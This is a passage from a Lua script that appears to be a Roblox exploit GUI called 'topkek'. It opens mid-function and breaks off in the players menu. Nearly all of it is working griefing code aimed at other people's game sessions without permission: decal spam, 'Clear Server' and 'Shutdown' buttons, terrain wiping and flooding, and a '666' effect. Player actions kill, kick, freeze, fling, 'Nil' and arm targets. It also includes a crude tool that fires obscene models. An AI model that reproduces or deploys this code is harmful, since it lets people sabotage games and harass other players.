				Motor4.Part1 = LL
	
				Motor4.C0 = CFrame.new(-1 * scl, -1 * scl, 0) * CFrame.Angles(0, -1.6, 0)
	
				Motor4.C1 = CFrame.new(-0.5 * scl, 1 * scl, 0) * CFrame.Angles(0, -1.6, 0)
	
				Motor4.Name = "Left Hip"
	
	
	
				local Motor5 = Instance.new('Motor6D', Torso)
	
				Motor5.Part0 = Torso
	
				Motor5.Part1 = RL
	
				Motor5.C0 = CFrame.new(1 * scl, -1 * scl, 0) * CFrame.Angles(0, 1.6, 0)
	
				Motor5.C1 = CFrame.new(0.5 * scl, 1 * scl, 0) * CFrame.Angles(0, 1.6, 0)
	
				Motor5.Name = "Right Hip"
	
	
	
				local Motor6 = Instance.new('Motor6D', HRP)
	
				Motor6.Part0 = HRP
	
				Motor6.Part1 = Torso
	
				Motor6.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1)
	
				Motor6.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1)
	
	
	
			end
	
	
	
			scale(pchar, sz)
	
	
	
			for _,v in pairs(game.Lighting:GetChildren()) do
	
				if v:IsA("Hat") then
	
					v.Parent = pchar
	
				end
	
			end
	
		end
	
		function topkek.libutil:dickShooter()
	
			Player = game:GetService("Players").LocalPlayer
	
			Character = Player.Character
	
			PlayerGui = Player.PlayerGui
	
			Backpack = Player.Backpack
	
			Torso = Character.Torso
	
			Head = Character.Head
	
			LeftArm = Character["Left Arm"]
	
			LeftLeg = Character["Left Leg"]
	
			RightArm = Character["Right Arm"]
	
			RightLeg = Character["Right Leg"]
	
			LS = Torso["Left Shoulder"]
	
			LH = Torso["Left Hip"]
	
			RS = Torso["Right Shoulder"]
	
			RH = Torso["Right Hip"]
	
			Tool = Instance.new("HopperBin")
	
			Tool.Parent = Backpack
	
			Tool.Name = "Painis"
	
			Bin = Tool
	
			so = function(id, par, vol, pit)
	
	
	
				coroutine.resume(coroutine.create(function()
	
	
	
					local sou = Instance.new("Sound", par or workspace)
	
					sou.Volume = vol
	
					sou.Pitch = pit or 1
	
					sou.SoundId = id
	
					wait()
	
					sou:play()
	
					wait(6)
	
					sou:Remove()
	
				end
	
				))
	
			end
	
	
	
			ob1d = function(mouse)
	
	
	
				size = 0.5
	
				mode = 1
	
				color = BrickColor.new(Color3.new(math.random(), math.random(), math.random()))
	
				mo = Instance.new("Model")
	
				mo.Name = "EEEEUGH HA HA HAAAAA"
	
				mo.Parent = workspace
	
				game.Debris:AddItem(mo, 10)
	
				p = Instance.new("Seat")
	
				p.Name = "Torso"
	
				p.Size = Vector3.new(14, 50, 14) * size
	
				p.BrickColor = color
	
				m = Instance.new("SpecialMesh")
	
				m.Parent = p
	
				p.Name = "Torso"
	
				p.Parent = mo
	
				p = Instance.new("Seat")
	
				p.Shape = "Ball"
	
				p.Size = Vector3.new(24, 24, 24) * size
	
				p.BrickColor = color
	
				p.Name = "Legball"
	
				for i = 1, 10 do
	
					lol = Instance.new("Seat")
	
					lol.BrickColor = BrickColor:Black()
	
					lol.Name = "SEE?"
	
					lol.Parent = mo
	
					lol.Size = Vector3.new(1, math.random(30, 40), 1) * size
	
					w = Instance.new("Weld")
	
					w.Part0 = p
	
					w.Part1 = lol
	
					w.C0 = CFrame.new(0, 0, 0) * CFrame.fromEulerAnglesXYZ(math.random(-10, 10), math.random(-10, 10), math.random(-10, 10))
	
					w.Parent = w.Part0
	
				end
	
				p.Parent = mo
	
				w = Instance.new("Weld")
	
				w.Part0 = mo.Torso
	
				w.Part1 = p
	
				w.C0 = CFrame.new(16 * (size / 2), -48 * (size / 2), 0)
	
				w.Parent = w.Part0
	
				p = Instance.new("Seat")
	
				p.Shape = "Ball"
	
				p.Size = Vector3.new(24, 24, 24) * size
	
				p.BrickColor = color
	
				p.Name = "Legball"
	
				for i = 1, 10 do
	
					lol = Instance.new("Seat")
	
					lol.BrickColor = BrickColor:Black()
	
					lol.Name = "SEE?"
	
					lol.Parent = mo
	
					lol.Size = Vector3.new(1, math.random(30, 40), 1) * size
	
					w = Instance.new("Weld")
	
					w.Part0 = p
	
					w.Part1 = lol
	
					w.C0 = CFrame.new(0, 0, 0) * CFrame.fromEulerAnglesXYZ(math.random(-10, 10), math.random(-10, 10), math.random(-10, 10))
	
					w.Parent = w.Part0
	
				end
	
				p.Parent = mo
	
				w = Instance.new("Weld")
	
				w.Part0 = mo.Torso
	
				w.Part1 = p
	
				w.C0 = CFrame.new(-16 * (size / 2), -48 * (size / 2), 0)
	
				w.Parent = w.Part0
	
				p = Instance.new("Seat")
	
				p.Shape = "Ball"
	
				p.Size = Vector3.new(21, 15, 21) * size
	
				p.BrickColor = color
	
				p.Name = "Legball"
	
				for i = 1, 10 do
	
					lol = Instance.new("Seat")
	
					lol.BrickColor = BrickColor:Black()
	
					lol.Name = "SEE?"
	
					lol.Parent = mo
	
					lol.Size = Vector3.new(1, math.random(30, 40), 1) * size
	
					w = Instance.new("Weld")
	
					w.Part0 = p
	
					w.Part1 = lol
	
					w.C0 = CFrame.new(0, 0, 0) * CFrame.fromEulerAnglesXYZ(math.random(-10, 10), math.random(-10, 10), math.random(-10, 10))
	
					w.Parent = w.Part0
	
				end
	
				p.Parent = mo
	
				w = Instance.new("Weld")
	
				w.Part0 = mo.Torso
	
				w.Part1 = p
	
				w.C0 = CFrame.new(0, 60 * (size / 2), 0)
	
				m = Instance.new("SpecialMesh")
	
				m.Parent = p
	
				p.Name = "Head"
	
				w.Parent = w.Part0
	
				s = Instance.new("Sound")
	
				s.Parent = mo.Torso
	
				s.Volume = 100
	
				s.Pitch = 1
	
				s.SoundId = "http://www.roblox.com/asset/?id=149779810"
	
				s.Looped = true
	
				s:play()
	
				coroutine.resume(coroutine.create(function(Part)
	
	
	
					while Part.Parent ~= nil do
	
						wait(math.random())
	
						so("http://www.roblox.com/asset/?id=148636758", Part, 100, 1)
	
					end
	
				end
	
				), mo.Torso)
	
				mo.Torso.CFrame = mo.Torso.CFrame * Torso.CFrame * CFrame.new(0, 0, -50 * size) * CFrame.fromEulerAnglesXYZ(-1.57, 0, 0)
	
				mo.Torso.Velocity = mouse.Hit.lookVector * 400
	
				coroutine.resume(coroutine.create(function(Part)
	
	
	
					while 1 do
	
						wait(math.random(0, 1) + math.random())
	
						Part.RotVelocity = Vector3.new(math.random(-40, 40), math.random(-40, 40), math.random(-40, 40))
	
					end
	
				end
	
				), mo.Torso)
	
			end
	
	
	
			ob1u = function(mouse)
	
	
	
			end
	
	
	
			buttonhold = false
	
			key = function(key, mouse)
	
	
	
			end
	
	
	
			key2 = function(key, mouse)
	
	
	
			end
	
	
	
			s = function(mouse)
	
	
	
				mouse.Button1Down:connect(function()
	
	
	
					ob1d(mouse)
	
				end
	
				)
	
				mouse.Button1Up:connect(function()
	
	
	
					ob1u(mouse)
	
				end
	
				)
	
				mouse.KeyDown:connect(key)
	
				mouse.KeyUp:connect(key2)
	
			end
	
	
	
			ds = function(mouse)
	
	
	
			end
	
	
	
			Bin.Selected:connect(s)
	
			Bin.Deselected:connect(ds)
	
		end
	
		--[[ libgui xd ]]--
	
		topkek.libgui.seperation = 12
	
		function topkek.libgui:addLeftIcon(parent, img, sz)
	
			topkek.libutil:createObject('ImageLabel', {
	
				Parent = parent;
	
				BackgroundTransparency = 1;
	
				Position = UDim2.new(0, 2, 0, 0);
	
				Size = UDim2.new(0, sz, 0, sz);
	
				Image = img;
	
			})
	
		end
	
		function topkek.libgui:hookContainer(o, sepr, stt)
	
			if not o:IsA("ScrollingFrame") then
	
				return nil
	
			end	
	
	
	
			local self = {}
	
			self.main = o
	
			self.drawX = 0
	
			self.drawY = stt or topkek.libgui.seperation/2
	
			self.drawHeight = 0
	
			self.sepr = sepr or topkek.libgui.seperation
	
	
	
			function self:drawButton(sz, txt, func, ysz, cbgd)
	
				local xposOffset = 0
	
				local xposScale = self.drawX
	
				local xszOffset = 0
	
				local xszScale = sz
	
				if not (self.drawX == 0)  then
	
					xszOffset = -4
	
					if sz + self.drawX > 0.998 then
	
						xszOffset = -11
	
					end
	
				elseif sz == 1 then
	
					xszOffset = -(self.sepr) - 5
	
					xposOffset = self.sepr/2
	
				else
	
					xszOffset = -4 + -(self.sepr/2)
	
					xposOffset = self.sepr/2
	
				end
	
				if not ysz then ysz = 20 end
	
				local obj = topkek.libutil:createObject("TextButton", {
	
					Parent = self.main;
	
					BackgroundColor3 = cbgd or color3(15, 23, 30);
	
					BorderColor3 = color3(27, 42, 53);
	
					Position = UDim2.new(xposScale, xposOffset, 0, self.drawY);
	
					Size = UDim2.new(xszScale, xszOffset, 0, ysz);
	
					Font = 'SourceSans';
	
					FontSize = 'Size14';
	
					Text = txt;
	
					TextSize = 14;
	
					TextColor3 = color3(199, 199, 199);
	
					TextStrokeTransparency = 0.5;
	
				})
	
				obj.MouseButton1Down:connect(function()
	
					func()
	
				end)
	
				if ysz > self.drawHeight then
	
					self.drawHeight = ysz
	
				end
	
				self.drawX = self.drawX + sz
	
				if self.drawX > 0.998 then
	
					self.drawY = self.drawY + 3 + self.drawHeight
	
					self.drawX = 0
	
					self.drawHeight = 0
	
					self.main.CanvasSize = UDim2.new(0, 0, 0, self.drawY + 5)
	
				end
	
				return obj
	
			end
	
	
	
			function self:GetChildren()
	
				return self.main:GetChildren()
	
			end
	
	
	
			function self:getDrawY()
	
				return self.drawY
	
			end
	
	
	
			function self:setDrawY(y)
	
				self.drawY = y
	
			end
	
	
	
			function self:drawTextBox(sz, txt, ysz, cbgd)
	
				local xposOffset = 0
	
				local xposScale = self.drawX
	
				local xszOffset = 0
	
				local xszScale = sz
	
				if not (self.drawX == 0)  then
	
					xszOffset = -4
	
					if sz + self.drawX > 0.998 then
	
						xszOffset = -11
	
					end
	
				elseif sz == 1 then
	
					xszOffset = -(self.sepr) - 5
	
					xposOffset = self.sepr/2
	
				else
	
					xszOffset = -4 + -(self.sepr/2)
	
					xposOffset = self.sepr/2
	
				end
	
				if not ysz then ysz = 20 end
	
				local obj = topkek.libutil:createObject("TextBox", {
	
					Parent = self.main;
	
					BackgroundColor3 = cbgd or color3(5, 8, 11);
	
					BorderColor3 = color3(27, 42, 53);
	
					Position = UDim2.new(xposScale, xposOffset, 0, self.drawY);
	
					Size = UDim2.new(xszScale, xszOffset, 0, ysz);
	
					Font = 'SourceSans';
	
					FontSize = 'Size14';
	
					Text = txt;
	
					TextSize = 14;
	
					TextColor3 = color3(199, 199, 199);
	
				})
	
				if ysz > self.drawHeight then
	
					self.drawHeight = ysz
	
				end
	
				self.drawX = self.drawX + sz
	
				if self.drawX > 0.998 then
	
					self.drawY = self.drawY + 3 + self.drawHeight
	
					self.drawX = 0
	
					self.drawHeight = 0
	
					self.main.CanvasSize = UDim2.new(0, 0, 0, self.drawY + 5)
	
				end
	
				return obj
	
			end
	
	
	
			function self:drawScrollingContainer(ysz)
	
				local sz = UDim2.new(1, -(self.sepr/2) - 11, 0, ysz)
	
				local pos = UDim2.new(0, self.sepr/2, 0, self.drawY)
	
				local obj = topkek.libutil:createObject("ScrollingFrame", {
	
					Parent = self.main;
	
					BackgroundColor3 = color3(7, 11, 15);
	
					BorderColor3 = color3(27, 42, 53);
	
					Position = pos;
	
					Size = sz;
	
					BottomImage = 'rbxassetid://573102620';
	
					MidImage = 'rbxassetid://573102620';
	
					TopImage = 'rbxassetid://573102620';
	
					ScrollBarThickness = 5;
	
				})
	
				self.drawY = self.drawY + 5 + ysz
	
				self.drawX = 0
	
				self.drawHeight = 0
	
				self.main.CanvasSize = UDim2.new(0, 0, 0, self.drawY + 5)
	
				return topkek.libgui:hookContainer(obj, 12, 5)
	
			end
	
	
	
			function self:drawContainer(xsz, ysz)
	
				local sz = UDim2.new(xsz, -(self.sepr/2) - 11, 0, ysz)
	
				local pos = UDim2.new(0, self.sepr/2, 0, self.drawY)
	
				local obj = topkek.libutil:createObject("ScrollingFrame", {
	
					Parent = self.main;
	
					BackgroundTransparency = 1;
	
					Position = pos;
	
					Size = sz;
	
				})
	
				self.drawY = self.drawY + 5 + ysz
	
				self.drawX = 0
	
				self.drawHeight = 0
	
				self.main.CanvasSize = UDim2.new(0, 0, 0, self.drawY + 5)
	
				return topkek.libgui:hookContainer(obj, 12, 5)
	
			end
	
	
	
			function self:addSpacing()
	
				self.drawY = self.drawY + 3
	
			end
	
	
	
			function self:center()
	
				local a,c,b=
	
					self.main.Position.X.Scale,
	
				self.main.Position.X.Offset,self.main.Size.Y.Offset
	
				self.main.Position=UDim2.new(a,c+2, 0.5, -(b/2))
	
			end	
	
	
	
			return self
	
		end
	
	
	
		--[[ windows ]]--
	
		topkek.libwindows.windows = {}
	
		function topkek.libwindows:registerWindow(w)
	
			table.insert(topkek.libwindows.windows, w)
	
		end
	
		function topkek.libwindows:switchWindow(w, x)
	
			for _, k in pairs(topkek.libwindows.windows) do
	
				if k.Name == w then
	
					k.Visible = true
	
				else
	
					k.Visible = false
	
				end	
	
			end
	
			if w == 'HomeContainer' then
	
				base.Navigator.Visible = false
	
			else
	
				base.Navigator.Visible = true
	
			end
	
			base.Top.Location.Text = x
	
		end
	
		function topkek.libwindows:initiateNavigator()
	
			local nav = base.Navigator
	
			local template = nav.Item:Clone(); nav.Item:Destroy();
	
			local wins = topkek.libsettings:getSetting('windows')
	
			local y = 5
	
			for _, k in pairs(wins) do
	
				local o = template:Clone()
	
				o.Parent = nav
	
				o.Position = UDim2.new(0, 5, 0, y)
	
				o.Text = k
	
				o.MouseButton1Down:connect(function()
	
					topkek.libwindows:switchWindow(k .. 'Container', k)
	
				end)
	
				y = y + 25
	
			end
	
			nav.CanvasSize = UDim2.new(0, 0, 0, y)
	
		end
	
		function topkek.libwindows:initiateHome()
	
			local home = base.HomeContainer
	
			home.LocalPlayer.Mask.MouseButton1Down:connect(function()
	
				topkek.libwindows:switchWindow('LocalPlayerContainer', 'LocalPlayer')
	
			end)
	
			home.Server.Mask.MouseButton1Down:connect(function()
	
				topkek.libwindows:switchWindow('ServerContainer', 'Server')
	
			end)
	
			home.Scripts.Mask.MouseButton1Down:connect(function()
	
				topkek.libwindows:switchWindow('ScriptsContainer', 'Scripts')
	
			end)
	
			home.Miscellaneous.Mask.MouseButton1Down:connect(function()
	
				topkek.libwindows:switchWindow('MiscellaneousContainer', 'Miscellaneous')
	
			end)
	
			home.Players.Mask.MouseButton1Down:connect(function()
	
				topkek.libwindows:switchWindow('PlayersContainer', 'Players')
	
			end)
	
			home.Settings.Mask.MouseButton1Down:connect(function()
	
				topkek.libwindows:switchWindow('SettingsContainer', 'Settings')
	
			end)
	
		end
	
		--[[ defines ]]--
	
		topkek.libsettings:setSetting('version', '1.0.0')
	
		topkek.libsettings:setSetting('bans', {})
	
		topkek.libsettings:setSetting('admins', {})
	
		topkek.libsettings:setSetting('windows', {
	
			'Home';
	
			'Server';
	
			'LocalPlayer';
	
			'Players';
	
			'Scripts';
	
			'Miscellaneous';
	
			'Settings';
	
			'Explorer';
	
			'Gear';
	
			'Hats';
	
			'Music';
	
			'Effects';
	
			'Filtering';
	
			'Commands';
	
		})
	
		topkek.libsettings:setSetting('misc', {
	
			'Explorer';
	
			'Gear';
	
			'Hats';
	
			'Music';
	
			'Effects';
	
			'Filtering';
	
			'Commands';
	
		})
	
		topkek.store.gui = ScreenGui; gui = topkek.store.gui --  change later
	
		topkek.store.base = topkek.store.gui['Base']; base = topkek.store.base
	
		-- [[ server ]] --
	
		--sz, txt, func, ysz, cbgd
	
		local servwin = topkek.libgui:hookContainer(base['ServerContainer'])
	
		local decalList, decalImp = servwin:drawScrollingContainer(100)
	
		local decalAct = servwin:drawButton(2/3,'Spam Decal',function()
	
			topkek.libutil:recurseDecal(decalImp.Text)end)
	
		decalImp = servwin:drawTextBox(1/3,'573896613')
	
		servwin:drawButton(1,'Rollback Spam',function()
	
			topkek.libutil:recurseRemove('ParticleEmitter')
	
			topkek.libutil:recurseRemove('Decal')
	
		end)
	
		local decs = {
	
			{'Cerberus', '573896613'},
	
			{'Rain', '574772793'},
	
			{'Robbie', '574773630'},
	
			{'Pepe', '244905904'},
	
			{'Troll Face', '48308661'},
	
			{'Jeff', '109129888'},
	
			{'Shrek', '170539018'},
	
			{'Doge', '133720697'},
	
			{'Dat Boi', '409578848'},
	
		}
	
		for _, v in pairs(decs) do
	
			local b = decalList:drawButton(1, v[1], function()decalImp.Text=v[2]end,20,color3(5,8,11))
	
			topkek.libgui:addLeftIcon(b,'rbxassetid://'..v[2],20)
	
		end
	
		servwin:addSpacing()
	
		-- [[lighting]] --
	
		-- <<time>> --
	
		local timeInp
	
		servwin:drawButton(2/3,'Set Time',function()
	
			game:GetService('Lighting').TimeOfDay = timeImp.Text .. ":00:00"
	
		end)
	
		timeImp = servwin:drawTextBox(1/3,'14')
	
		-- <<fog> --
	
		local fogInp
	
		servwin:drawButton(2/3,'Set FogEnd',function()
	
			if not tonumber(fogInp.Text) then return end
	
			game:GetService('Lighting').FogEnd = tonumber(fogInp.Text)
	
		end)
	
		fogInp = servwin:drawTextBox(1/3,'100000')
	
		-- <<brightness>> --
	
		local brightInp
	
		servwin:drawButton(2/3,'Set Brightness',function()
	
			if not tonumber(brightInp.Text) then return end
	
			game:GetService('Lighting').Brightness = tonumber(brightInp.Text)
	
		end)
	
		brightInp = servwin:drawTextBox(1/3,'1')
	
		-- <<reset>> --
	
		servwin:drawButton(1,'Reset Lighting',function()
	
			local l = game:service'Lighting'
	
			l.Ambient = Color3.new(0, 0, 0)
	
			l.Brightness = 1
	
			l.GlobalShadows = true
	
			l.Outlines = true
	
			l.FogEnd = 100000
	
			l.FogStart = 0
	
			l:SetMinutesAfterMidnight(12*60)
	
		end)
	
		-- [[ fixing ]] --
	
		servwin:addSpacing()
	
		servwin:drawButton(1/2,'Clear Server',function()
	
			for i,v in pairs(game:service'Workspace':GetChildren()) do
	
				if (not v:IsA("Terrain"))and(v.Name~="Camera") then
	
					v:Destroy()
	
				end
	
			end
	
		end)
	
		servwin:drawButton(1/2,'Shutdown',function()
	
			for i,v in pairs(game:GetService('Players')) do
	
				v.Parent = nil
	
			end
	
		end)
	
		servwin:drawButton(1/2,'Remove Sound',function()
	
			topkek.libutil:recurseRemove('Sound')
	
		end)
	
		servwin:drawButton(1/2,'Baseplate',function()
	
			for X = -2500, 2500, 512 do
	
				for Z = -2500, 2500, 512 do
	
					local P = Instance.new("Part")
	
					P.Anchored = true
	
					P.Locked = true
	
					P.Size = Vector3.new(512,3,512)
	
					P.CFrame = CFrame.new(X,0,Z)
	
					P.BrickColor = BrickColor.Green()
	
					P.Parent = game:service'Workspace'
	
				end
	
			end
	
		end)
	
		--[[ destruction ]]--
	
		servwin:addSpacing()
	
		servwin:drawButton(1/2,'Clear Terrain',function()
	
			game:service'Workspace'.Terrain:Clear()
	
		end)
	
		servwin:drawButton(1/2,'Flood',function()
	
			game:service'Workspace'.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-100), Vector3int16.new(100,100,100)), 17, "Solid", "X")
	
		end)
	
		servwin:drawButton(1/2,'Reflectancy',function()
	
			topkek.libutil:recurseSet('BasePart','Reflectance',1)
	
		end)
	
		servwin:drawButton(1/2,'Transparency',function()
	
			topkek.libutil:recurseSet('BasePart','Transparency',1)
	
		end)
	
		servwin:drawButton(1/2,'666',function()
	
			for i,v in next,workspace:children''do
	
				if(v:IsA'BasePart')then
	
					me=v;
	
					bbg=Instance.new('BillboardGui',me);
	
					bbg.Name='stuf';
	
					bbg.Adornee=me;
	
					bbg.Size=UDim2.new(2.5,0,2.5,0)
	
					--bbg.StudsOffset=Vector3.new(0,2,0)
	
					tlb=Instance.new'TextLabel';
	
					tlb.Text='666 666 666 666 666 666';
	
					tlb.Font='SourceSansBold';
	
					tlb.FontSize='Size48';
	
					tlb.TextColor3=Color3.new(1,0,0);
	
					tlb.Size=UDim2.new(1.25,0,1.25,0);
	
					tlb.Position=UDim2.new(-0.125,-22,-1.1,0);
	
					tlb.BackgroundTransparency=1;
	
					tlb.Parent=bbg;
	
				end;end;
	
			--coroutine.wrap(function()while wait''do
	
			s=Instance.new'Sound';
	
			s.Parent=workspace;
	
			s.SoundId='rbxassetid://152840862';
	
			s.Pitch=1;
	
			s.Volume=1;
	
			s.Looped=true;
	
			s:play();
	
			--end;end)();
	
			function xds(dd)
	
				for i,v in next,dd:children''do
	
					if(v:IsA'BasePart')then
	
						v.BrickColor=BrickColor.new'Really black';
	
						v.TopSurface='Smooth';
	
						v.BottomSurface='Smooth';
	
						s=Instance.new('SelectionBox',v);
	
						s.Adornee=v;
	
						s.Color=BrickColor.new'Really red';
	
						a=Instance.new('PointLight',v);
	
						a.Color=Color3.new(1,0,0);
	
						a.Range=15;
	
						a.Brightness=5;
	
						f=Instance.new('Fire',v);
	
						f.Size=19;
	
						f.Heat=22;
	
					end;
	
					game.Lighting.TimeOfDay=0;
	
					game.Lighting.Brightness=0;
	
					game.Lighting.ShadowColor=Color3.new(0,0,0);
	
					game.Lighting.Ambient=Color3.new(1,0,0);
	
					game.Lighting.FogEnd=200;
	
					game.Lighting.FogColor=Color3.new(0,0,0);
	
					local dec = 'http://www.roblox.com/asset/?id=19399245';
	
					local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'}
	
					--coroutine.wrap(function()
	
					--for _,__ in pairs(fac) do
	
					--local ddec = Instance.new("Decal", v)
	
					--ddec.Face = __
	
					--ddec.Texture = dec
	
					--end end)()
	
					if #(v:GetChildren())>0 then
	
						xds(v) 
	
					end
	
				end
	
			end
	
			xds(game.Workspace)
	
		end)
	
		servwin:drawButton(1/2,'Troll',function()
	
			topkek.libutil:recurseDecal('48308661')
	
			topkek.libutil:Play(154664102)
	
		end)
	
		servwin:drawButton(1/2,'Colorize',function() -- when u skid off variable XDDDDDpranked
	
			local materiallist = 
	
				{Enum.Material.Plastic,Enum.Material.Wood,Enum.Material.Slate,Enum.Material.Concrete,Enum.Material.CorrodedMetal,
	
					Enum.Material.DiamondPlate,Enum.Material.Foil,Enum.Material.Grass,
	
					Enum.Material.Ice,Enum.Material.Marble,Enum.Material.Granite,Enum.Material.Brick,
	
					Enum.Material.Pebble,Enum.Material.Sand,Enum.Material.Sand,
	
					Enum.Material.Fabric,Enum.Material.SmoothPlastic,Enum.Material.Metal,Enum.Material.WoodPlanks,Enum.Material.Neon,Enum.Material.Cobblestone}
	
			local function r(where) 
	
				for _,v in pairs (where:GetChildren()) do 
	
					if v:IsA("BasePart") then 
	
						spawn(function() while wait(0.1) do v.Material = materiallist[math.random(#materiallist)] wait()   end end) end r(v) end end r(workspace)
	
		end)
	
		servwin:drawButton(1/2,'Materialize',function()
	
			local function r(where) 
	
				for _,v in pairs (where:GetChildren()) do 
	
					if v:IsA("BasePart") then 
	
						spawn(function() while wait(0.1) do v.Transparency = math.random(0,1) wait()   end end) end r(v) end end r(workspace)
	
		end)
	
		servwin:drawButton(1/2,'Meshify',function()
	
			local enums={
	
				Enum.MeshType.Head;
	
				Enum.MeshType.Torso;
	
				Enum.MeshType.Wedge;
	
				Enum.MeshType.Brick;
	
				Enum.MeshType.Sphere;
	
				Enum.MeshType.Cylinder;
	
			}
	
			topkek.libutil:recurseFunc('BasePart',function(o)
	
				local mesh = Instance.new('SpecialMesh', o)
	
				mesh.MeshType = enums[math.random(1,#enums)]
	
			end)
	
		end)
	
		servwin:drawButton(1/2,'Loop-Meshify',function()
	
			coroutine.wrap(function()
	
				while true do
	
					local enums={
	
						Enum.MeshType.Head;
	
						Enum.MeshType.Torso;
	
						Enum.MeshType.Wedge;
	
						Enum.MeshType.Brick;
	
						Enum.MeshType.Sphere;
	
						Enum.MeshType.Cylinder;
	
					}
	
					topkek.libutil:recurseFunc('BasePart',function(o)
	
						if o:FindFirstChild("Mesh") then o.Mesh:Destroy() end
	
						local mesh = Instance.new('SpecialMesh', o)
	
						mesh.MeshType = enums[math.random(1,#enums)]
	
					end)
	
					wait(0.5)
	
				end
	
			end)()
	
		end)
	
		--<<<< END OF SERVER MENU >>>>--
	
		plrwin = topkek.libgui:hookContainer(base['PlayersContainer'])
	
		local plrDrop = plrwin:drawButton(1,'test-dropdown',function()end)
	
		plrDrop = dropdown.new(plrDrop,topkek.libutil:GetPlayerList(),'Everybody')
	
		game:GetService('Players').PlayerAdded:connect(function()
	
			plrDrop.update(topkek.libutil:GetPlayerList())
	
		end)
	
		game:GetService('Players').PlayerRemoving:connect(function()
	
			plrDrop.update(topkek.libutil:GetPlayerList())
	
		end)
	
		plrwin:addSpacing()
	
		local actions = plrwin --plrwin:drawScrollingContainer(163) [[lole]]
	
		actions:drawButton(1/3, 'Kill', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character:FindFirstChild('Humanoid') then
	
					z.Character.Humanoid.Health = 0
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Freeze', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character:FindFirstChild('Humanoid') then
	
					topkek.libutil:getTorso(z).Anchored = true
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Thaw', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character:FindFirstChild('Humanoid') then
	
					topkek.libutil:getTorso(z).Anchored = false
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Fire', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					Instance.new("Fire", topkek.libutil:getTorso(z))
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Sparkles', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					Instance.new("Sparkles", topkek.libutil:getTorso(z))
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Smoke', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					Instance.new("Smoke", topkek.libutil:getTorso(z))
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'BTools', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				local a = Instance.new("HopperBin")
	
				a.BinType = "GameTool"
	
				a.Parent = z.Backpack
	
				local a = Instance.new("HopperBin")
	
				a.BinType = "Clone"
	
				a.Parent = z.Backpack
	
				local a = Instance.new("HopperBin")
	
				a.BinType = "Hammer"
	
				a.Parent = z.Backpack
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Kick', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				local function doKick()
	
					if z.Character and z.Character:FindFirstChild('HumanoidRootPart') and z.Character:FindFirstChild('Torso') then
	
						z.Character.HumanoidRootPart.CFrame = CFrame.new(math.random(999000, 1001000), 1000000, 1000000)
	
						local SP = Instance.new('SkateboardPlatform', z.Character) SP.Position = z.Character.HumanoidRootPart.Position SP.Transparency = 1
	
						spawn(function()
	
							repeat wait()
	
								if z.Character and z.Character:FindFirstChild('HumanoidRootPart') then
	
									SP.Position = z.Character.HumanoidRootPart.Position
	
								end
	
							until not game:GetService('Players'):FindFirstChild(z.Name)
	
						end)
	
						z.Character.Torso.Anchored = true
	
					end
	
				end
	
				repeat
	
					doKick()
	
					wait()
	
				until not z
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Nil', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				z.Parent = nil
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Bring', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					z.Character.HumanoidRootPart.CFrame =
	
						game:service'Players'.LocalPlayer.Character.HumanoidRootPart.CFrame * CFrame.new(1,1,1)
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Goto', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					game:service'Players'.LocalPlayer.Character.HumanoidRootPart.CFrame =
	
						z.Character.HumanoidRootPart.CFrame * CFrame.new(1,1,1)
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Freefall', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					z.Character.HumanoidRootPart.CFrame = z.Character.HumanoidRootPart.CFrame * CFrame.new(0, 10000, 0)		
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Sword', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				insert(125013769).Parent = z.Backpack
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Guns', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				insert(130113146).Parent = z.Backpack
	
				insert(67747912).Parent = z.Backpack
	
				insert(95354288).Parent = z.Backpack
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Knife', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				insert(170897263).Parent = z.Backpack
	
			end)
	
		end)
	
	
	
		actions:drawButton(1/3, 'Stun', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if not z.Character:FindFirstChild('UpperTorso') then
	
					z.Character.Torso.CFrame = z.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0) 
	
				end
	
				z.Character.Humanoid.PlatformStand = true
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Invisible', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					topkek.libutil:recurseSetObj(z.Character, 'BasePart', 'Transparency', 1)
	
					topkek.libutil:recurseSetObj(z.Character, 'MeshPart', 'Transparency', 1)
	
				end
	
			end)
	
		end)
	
		actions:drawButton(1/3, 'Visible', function()
	
			topkek.libutil:doPlayers(plrDrop, function(z)
	
				if z.Character then
	
					topkek.libutil:recurseSetObj(z.Character, 'BasePart', 'Transparency', 0)
	
